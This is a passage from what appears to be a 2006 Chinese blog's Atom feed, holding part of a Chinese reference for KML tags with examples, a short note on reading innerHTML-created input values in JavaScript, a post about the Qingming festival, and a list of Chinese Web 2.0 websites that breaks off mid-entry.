<DIV class=desc>单一标签. 通过URL引用一个<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>, <A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A> or &lt;StyleBlinker&gt;.假如被引用的样式表元素就在当前文档之中，可以仅仅使用一个#来引用，例如: <BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A> #myIconStyleID<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>http://someserver.com/somestylefile.xml#restaurant<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>ID或者URL指向被引用的样式表元素.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;State&gt;<BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=tessellate></A>
<H4>&lt;tessellate&gt;</H4>
<DIV class=desc>设置是否允许线条根据地形而自动调整. <BR></DIV>
<DL>
<DT>值: 
<DD>0 (不进行自动调整)或1. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LineString">&lt;LineString&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=tilt></A>
<H4>&lt;tilt&gt;</H4>
<DIV class=desc>单一标签，<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子标签. 代表视点到指定点的角度(视角)，值为0代表没有倾斜，即在Google earth中的视角是垂直向下的.值为90代表最大倾斜度，即在Google earth中视角是水平的. <BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A>0.000000<A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>代表视角倾斜度的数值，单位可以是十进制的度数，也可以是其他标准GIS数值.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=TimePeriod></A>
<H4>&lt;TimePeriod&gt;</H4>
<DIV class=desc>复合标签.该标签通过指定起始时间和终止时间来定义一个时间范围:<BR><BR>begin<BR>end<BR>0?<BR>90?<BR><BR>如果缺少一个时间点，那么这个时间点代表的边界就不存在,例如，下面的例子说明California从1876-08-01成为美国的一个州，并永远是美国的一个州，因为<A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A>标签没有指定:<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>California<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR>.<BR>.<BR>.<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1876-08-01<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=TimeInstant></A>
<H4>&lt;TimeInstant&gt;</H4>
<DIV class=desc>复合标签，代表一个时间点的实例(类似一个空间点).该事件实例的精确度是<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>标签中指定的时间精确度:<BR><BR>dateTime精确到秒<BR>date精确到日<BR>gYearMonth精确到月<BR>gYear精确到年<BR><BR>注意:不支持毫秒.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1959-01-03<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>无. 
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=timePosition></A>
<H4>&lt;timePosition&gt;</H4>
<DIV class=desc>单一标签，描述一个UTC(Coordinated Universal Time,查看<A href="http://www.w3.org/TR/NOTE-datetime/" target=_blank>http://www.w3.org/TR/NOTE-datetime/</A>获取更多信息)的日期时间, 可以用以下格式描述:<BR><BR>年份(YYYY)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>年份和月份(YYYY-MM)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>完整日期(YYYY-MM-DD)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07-16<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>日期和时钟分钟(YYYY-MM-DDThh:mmZ)<BR>这儿T代表日期和时间之间的分隔符,Z是表示这是GMT时间.<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07-16T07:30Z<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>完整的日期时间(YYYY-MM-DDThh:mm:ssZ)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A>1997-07-16T07:30:15Z<A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A><BR><BR>注意:dateTime类型不允许从左至右的截断(比如省略秒钟)，并且不支持小数格式的秒钟，查看 <A href="http://www.w3.org/TR/xmlschema-0/#CreatDt" target=_blank>http://www.w3.org/TR/xmlschema-0/#CreatDt</A>获取更多信息.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A>1959-01-03<A href="http://www.step1.cn/googleapi/map/kml.htm#timePosition">&lt;timePosition&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>使用UTC格式的日期时间，可以用yyyy-mm-ddThh:mm:ss格式来书写，T是日期和时间之间的分隔符，另外，也可以只指定日期而不指定时间.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=type></A>
<H4>&lt;type&gt;</H4>
<DIV class=desc>单一标签,schema字段类型的子元素.用来定义在schema中定义的子段的类型.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Population<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>int<A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>可能的值有:<BR><BR>uint<BR>short<BR>ushort<BR>float<BR>double<BR>bool<BR>string<BR>wstring (长string,UCS2 unicode编码)<BR>sharedstring<BR>sharedwstring<BR>Vec2f (2维矢量,float)<BR>Vec3d (3维矢量,double)<BR>icon<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjField">&lt;ObjField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjArrayField">&lt;ObjArrayField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleArrayField">&lt;SimpleArrayField&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=href></A>
<H4>&lt;href&gt;</H4>
<DIV class=desc>单一标签,<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>的子标签. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Url></A>
<H4>&lt;Url&gt;</H4>
<DIV class=desc>复合标签，<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR>&lt;refreshMode&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshMode">&lt;viewRefreshMode&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshTime">&lt;viewRefreshTime&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=viewRefreshMode></A>
<H4>&lt;viewRefreshMode&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素.指定在什么情况下向<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>网络服务器发送当前视角坐标. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>onStop 代表视图窗口停顿n秒后, n在<A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshTime">&lt;viewRefreshTime&gt;</A>标签之中指定.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=viewRefreshTime></A>
<H4>&lt;viewRefreshTime&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A>的子元素. 指定向网络服务器发送当前视角坐标的频率. <BR><BR></DIV>
<DL>
<DT>值: 
<DD>一个代表秒的整数<BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=visibility></A>
<H4>&lt;visibility&gt;</H4>
<DIV class=desc>单一标签，定义目录、地名标记、图片标记的默认可见性<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>The Home Store, Site #3<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR>. . . .<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>0 代表默认不显示<BR>1 代表默认显示<BR><BR>
<DT>父元素: 
<DD>被以下元素包含: <BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=w></A>
<H4>&lt;w&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个区域的时候,w是图片上被提取区域的宽度像素值.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上被提取区域的宽度像素值.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=west></A>
<H4>&lt;west&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>的子元素.指定图片标注左边缘的经度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A>-96.3874<A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示，而高度则以海拔高度(以米为单位)来表示.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=x></A>
<H4>&lt;x&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个点的时候,x是该点到图片左端的像素距离. <BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上某点到图片左端的像素距离.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=y></A>
<H4>&lt;y&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个点的时候,y是该点到图片底端的像素距离. <BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上某点到图片底端的像素距离.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=256" /> 
	  <id>http://www.openx.cn/default.asp?id=256</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[关于使用innerHTML输入input后无法获取值的解决办法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-04-07T10:24:01+08:00</updated>
	  <published>2006-04-07T10:24:01+08:00</published>
		  <summary type="html"><![CDATA[<P>这几天在用js做个东西,发现当使用innerHTML在页面上写&lt;input type="file"&gt;的时候无法通过 document.getElementById("input的ID")来获取对象的值.</P>
<P>刚才突然想到为什么不用form1.input的ID来获取呢.</P>
<P>结果终于可以得到该对象并可以对其进行操作.</P>
<P>&nbsp;</P>
<P>后后~为什么不能用document.getElementById来获取某些innerHTML出来的对象呢?这个有点不理解,先留下打个标记,做完手头上的事情再去研究咯~~~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=255" /> 
	  <id>http://www.openx.cn/default.asp?id=255</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[今天是清明节哦]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-04-05T09:52:13+08:00</updated>
	  <published>2006-04-05T09:52:13+08:00</published>
		  <summary type="html"><![CDATA[<P>早上上班路上好多车都是向公元开去的(公园上面有骨灰亭,还有些坟墓)</P>
<P>不知道我们家是什么时候扫墓,估计应该是这周周天吧.每年都是我跟我老爸去的,其实主要是配我老爸去的.山上很热~呼呼~.</P>
<P>&nbsp;</P>
<P>找了断清明节简介</P>
<P><SPAN class=dectext><FONT color=#532c0d><FONT face=宋体><SPAN class=dectext>&nbsp;&nbsp;&nbsp;&nbsp;清明是我国的二十四节气之一。由于二十四节气比较客观地反映了一年四季气温、降雨、物候等方面的变化，所以古代劳动人民用它安排农事活动。《淮南子?天文训》云:“春分后十五日，斗指乙，则清明风至。”按《岁时百问》的说法：“万物生长此时，皆清洁而明净。故谓之清明。”清明一到，气温升高，雨量增多，正是春耕春种的大好时节。故有“清明前后，点瓜种豆”、“植树造林，莫过清明”的农谚。可见这个节气与农业生产有着密切的关系。</SPAN> </FONT></FONT></SPAN></P>
<P><SPAN class=dectext><FONT face=宋体 color=#532c0d>　　但是，清明作为节日，与纯粹的节气又有所不同。节气是我国物候变化、时令顺序的标志，而节日则包含着一定的风俗活动和某种纪念意义。<BR><BR>　　清明节是我国传统节日，也是最重要的祭祀节日，是祭祖和扫墓的日子。扫墓俗称上坟，祭祀死者的一种活动。汉族和一些少数民族大多都是在清明节扫墓。<BR><BR>　　按照旧的习俗，扫墓时，人们要携带酒食果品、纸钱等物品到墓地，将食物供祭在亲人墓前，再将纸钱焚化，为坟墓培上新土，折几枝嫩绿的新枝插在坟上，然后叩头行礼祭拜，最后吃掉酒食回家。唐代诗人杜牧的诗《清明》：“清明时节雨纷纷，路上行人欲断魂。借问酒家何处有？牧童遥指杏花村。”写出了清明节的特殊气氛。<BR><BR>　　清明节，又叫踏青节，按阳历来说，它是在每年的4月4日至6日之间，正是春光明媚草木吐绿的时节，也正是人们春游（古代叫踏青）的好时候，所以古人有清明踏青，并开展一系列体育活动的的习俗。<BR><BR>　　直到今天，清明节祭拜祖先，悼念已逝的亲人的习俗仍很盛行。</FONT></SPAN></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=254" /> 
	  <id>http://www.openx.cn/default.asp?id=254</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[中国Web2.0网站100例]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-04-05T09:35:55+08:00</updated>
	  <published>2006-04-05T09:35:55+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>三种资本力量关注Web2.0 100 从观望转为踊跃试水<BR></STRONG>3月28日，国内首个互联网Web2.0优秀企业和网站榜单——Web2.0 100正式揭晓。在由中国互联网协会联合IDGVC举办的“中国互联网Web2.0 100发布?资本高层酒会”活动上，主办方隆重揭晓了此项通过半年多时间征集与推介活动产生的结果。国内第一部相关调查报告——《中国互联网Web2.0现状与趋势调查报告》的部分数据也在此面向100多名资本机构高层和Web2.0优秀企业、网站的高层代表做了简要发布...<BR><BR>猫扑 <A title=http://www.mop.com href="http://www.mop.com/" target=_blank>http://www.mop.com</A> <BR>和讯 <A title=http://www.hexun.com href="http://www.hexun.com/" target=_blank>http://www.hexun.com</A> <BR>豆瓣网 <A title=http://www.douban.com href="http://www.douban.com/" target=_blank>http://www.douban.com</A> <BR>奇虎 <A title=http://www.qihoo.com href="http://www.qihoo.com/" target=_blank>http://www.qihoo.com</A> <BR>网易博客 <A title=http://blog.163.com href="http://blog.163.com/" target=_blank>http://blog.163.com</A> <BR>噢噢中国 <A title=http://www.oo.cn href="http://www.oo.cn/" target=_blank>http://www.oo.cn</A> <BR>百度贴吧 <A title=http://post.baidu.com href="http://post.baidu.com/" target=_blank>http://post.baidu.com</A> <BR>新浪博客 <A title=http://blog.sina.com.cn href="http://blog.sina.com.cn/" target=_blank>http://blog.sina.com.cn</A> <BR>网络秀 <A title=http://www.m149.com/ href="http://www.m149.com/" target=_blank>http://www.m149.com/</A> <BR>客齐集 <A title=http://www.kijiji.com.cn href="http://www.kijiji.com.cn/" target=_blank>http://www.kijiji.com.cn</A> <BR>VeryCD <A title=http://www.verycd.com/ href="http://www.verycd.com/" target=_blank>http://www.verycd.com/</A> <BR>Donews <A title=http://www.donews.com href="http://www.donews.com/" target=_blank>http://www.donews.com</A> <BR>天涯社区 <A title=http://www.tianya.cn href="http://www.tianya.cn/" target=_blank>http://www.tianya.cn</A> <BR>土豆网 <A title=http://www.toodou.com href="http://www.toodou.com/" target=_blank>http://www.toodou.com</A> <BR>大旗网（原ChinaBBS) <A title=http://www.daqi.com/ href="http://www.daqi.com/" target=_blank>http://www.daqi.com/</A> <BR>58同城分类 <A title=http://www.58.com/ href="http://www.58.com/" target=_blank>http://www.58.com/</A> <BR>周博通 <A title=http://www.potu.com href="http://www.potu.com/" target=_blank>http://www.potu.com</A> <BR>大众点评网 <A title=http://www.dianping.com href="http://www.dianping.com/" target=_blank>http://www.dianping.com</A> <BR>BlogCN <A title=http://www.blogcn.com href="http://www.blogcn.com/" target=_blank>http://www.blogcn.com</A> <BR>博客网 <A title=http://www.bokee.com href="http://www.bokee.com/" target=_blank>http://www.bokee.com</A> <BR>Zcom智通 <A title=http://www.zcom.com href="http://www.zcom.com/" target=_blank>http://www.zcom.com</A> <BR>fotoal <A title=http://www.fotoal.com/ href="http://www.fotoal.com/" target=_blank>http://www.fotoal.com/</A> <BR>fotolog <A title=http://www.fotolog.com.cn/ href="http://www.fotolog.com.cn/" target=_blank>http://www.fotolog.com.cn/</A> <BR>优友地带 <A title=http://www.uuzone.com href="http://www.uuzone.com/" target=_blank>http://www.uuzone.com</A> <BR>赛我网 <A title=http://www.cyworld.com.cn href="http://www.cyworld.com.cn/" target=_blank>http://www.cyworld.com.cn</A> <BR>YOK优客搜索 <A title=http://www.yok.com href="http://www.yok.com/" target=_blank>http://www.yok.com</A> <BR>My See <A title=http://www.mysee.com/ href="http://www.mysee.com/" target=_blank>http://www.mysee.com/</A> <BR>CSDN <A title=http://www.csdn.net href="http://www.csdn.net/" target=_blank>http://www.csdn.net</A> <BR>楚现会 <A title=http://www.appiir.com href="http://www.appiir.com/" target=_blank>http://www.appiir.com</A> <BR>feedsky <A title=http://www.feedsky.com href="http://www.feedsky.com/" target=_blank>http://www.feedsky.com</A> <BR>365Key <A title=http://www.365key.com/ href="http://www.365key.com/" target=_blank>http://www.365key.com/</A> <BR>摩网 <A title=http://www.moabc.com href="http://www.moabc.com/" target=_blank>http://www.moabc.com</A> <BR>菠萝网 <A title=http://www.podlook.com href="http://www.podlook.com/" target=_blank>http://www.podlook.com</A> <BR>影立驰 <A title=http://www.tvix.cn/ href="http://www.tvix.cn/" target=_blank>http://www.tvix.cn/</A> <BR>E都市 <A title=http://www.edushi.com/ href="http://www.edushi.com/" target=_blank>http://www.edushi.com/</A> <BR>银河台 <A title=http://www.radio.cn href="http://www.radio.cn/" target=_blank>http://www.radio.cn</A> <BR>邦邦网 <A title=http://www.81088.com href="http://www.81088.com/" target=_blank>http://www.81088.com</A> <BR>口碑网 <A title=http://www.koubei.com href="http://www.koubei.com/" target=_blank>http://www.koubei.com</A> <BR>Blogbus <A title=http://www.blogbus.com/ href="http://www.blogbus.com/" target=_blank>http://www.blogbus.com/</A> <BR>网库黄页 <A title=http://www.99114.com href="http://www.99114.com/" target=_blank>http://www.99114.com</A> <BR>xplus <A title=http://www.xplus.com.cn href="http://www.xplus.com.cn/" target=_blank>http://www.xplus.com.cn</A> <BR>看天下 <A title=http://www.kantianxia.com? href="http://www.kantianxia.com/?" target=_blank>http://www.kantianxia.com?</A> <BR>POCO <A title=http://www.poco.cn href="http://www.poco.cn/" target=_blank>http://www.poco.cn</A> <BR>CNCN城市平台 <A title=http://www.cncn.com/ href="http://www.cncn.com/" target=_blank>http://www.cncn.com/</A> <BR>聚网 <A title=http://www.365ju.com/ href="http://www.365ju.com/" target=_blank>http://www.365ju.com/</A> <BR>爆米花网 <A title=http://www.pomoho.com href="http://www.pomoho.com/" target=_blank>http://www.pomoho.com</A> <BR>快乐米 <A title=http://www.colorme.com.cn href="http://www.colorme.com.cn/" target=_blank>http://www.colorme.com.cn</A> <BR>qzone <A title=http://qzone.qq.com/ href="http://qzone.qq.com/" target=_blank>http://qzone.qq.com/</A> <BR>磊客中国 <A title=http://www.rox.com.cn/ href="http://www.rox.com.cn/" target=_blank>http://www.rox.com.cn/</A> <BR>职友集 <A title=http://www.jobui.com href="http://www.jobui.com/" target=_blank>http://www.jobui.com</A> <BR>亿友 <A title=http://www.yeeyoo.com/ href="http://www.yeeyoo.com/" target=_blank>http://www.yeeyoo.com/</A> <BR>联络家 <A title=http://www.linkist.com/ href="http://www.linkist.com/" target=_blank>http://www.linkist.com/</A> <BR>PPlive <A title=http://www2.pplive.com/ href="http://www2.pplive.com/" target=_blank>http://www2.pplive.com/</A> <BR>波普播客 <A title=http://www.imboke.com href="http://www.imboke.com/" target=_blank>http://www.imboke.com</A> <BR>天际网 <A title=http://www.tianji.com href="http://www.tianji.com/" target=_blank>http://www.tianji.com</A> <BR>拍客地带 <A title=http://www.fzone.cn href="http://www.fzone.cn/" target=_blank>http://www.fzone.cn</A> <BR>搜狐博客 <A title=http://blog.sohu.com/ href="http://blog.sohu.com/" target=_blank>http://blog.sohu.com/</A> <BR>Mapbar <A title=http://www.mapbar.com/ href="http://www.mapbar.com/" target=_blank>http://www.mapbar.com/</A> <BR>赶集 <A title=http://www.ganji.com/ href="http://www.ganji.com/" target=_blank>http://www.ganji.com/</A> <BR>又拍网 <A title=http://www.yupoo.com/ href="http://www.yupoo.com/" target=_blank>http://www.yupoo.com/</A> <BR>乐视网 <A title=http://www.le-tv.com href="http://www.le-tv.com/" target=_blank>http://www.le-tv.com</A> <BR>万蝶移动博客 <A title=http://www.pdx.cn href="http://www.pdx.cn/" target=_blank>http://www.pdx.cn</A> <BR>狗狗 <A title=http://www.gougou.com/ href="http://www.gougou.com/" target=_blank>http://www.gougou.com/</A> <BR>乐乐互动 <A title=http://www.lele.com/web/ href="http://www.lele.com/web/" target=_blank>http://www.lele.com/web/</A> <BR>3G门户网 <A title=http://www.3g.net.cn href="http://www.3g.net.cn/" target=_blank>http://www.3g.net.cn</A> <BR>Cblinkx TV www.cblinkx.tv <BR>滚石音乐网 <A title=http://irock.cn/ href="http://irock.cn/" target=_blank>http://irock.cn/</A> <BR>粉丝网 <A title=http://www.ifensi.com href="http://www.ifensi.com/" target=_blank>http://www.ifensi.com</A> <BR>我要（51） <A title=http://www.51.com href="http://www.51.com/" target=_blank>http://www.51.com</A> <BR>易登网 <A title=http://www.edeng.cn href="http://www.edeng.cn/" target=_blank>http://www.edeng.cn</A> <BR>K68 <A title=http://www.k68.cn href="http://www.k68.cn/" target=_blank>http://www.k68.cn</A> <BR>中国播客网 <A title=http://www.vvlogger.com href="http://www.vvlogger.com/" target=_blank>http://www.vvlogger.com</A> <BR>那里网 <A title=http://www.naalee.com href="http://www.naalee.com/" target=_blank>http://www.naalee.com</A> <BR>Teein帖易中文聚合门户 <A title=http://www.teein.com href="http://www.teein.com/" target=_blank>http://www.teein.com</A> <BR>众评 <A title=http://report.7234.com/ href="http://report.7234.com/" target=_blank>http://report.7234.com/</A> <BR>酷客音乐网 <A title=http://www.koook.com href="http://www.koook.com/" target=_blank>http://www.koook.com</A> <BR>淘职网 www.go2work.com.cn?? <BR>捉鱼网 <A title=http://www.joyes.com href="http://www.joyes.com/" target=_blank>http://www.joyes.com</A> <BR>新聚网 <A title=http://www.tagriver.com href="http://www.tagriver.com/" target=_blank>http://www.tagriver.com</A> <BR>We@link <A title=http://www.wealink.com href="http://www.wealink.com/" target=_blank>http://www.wealink.com</A> <BR>网眼 <A 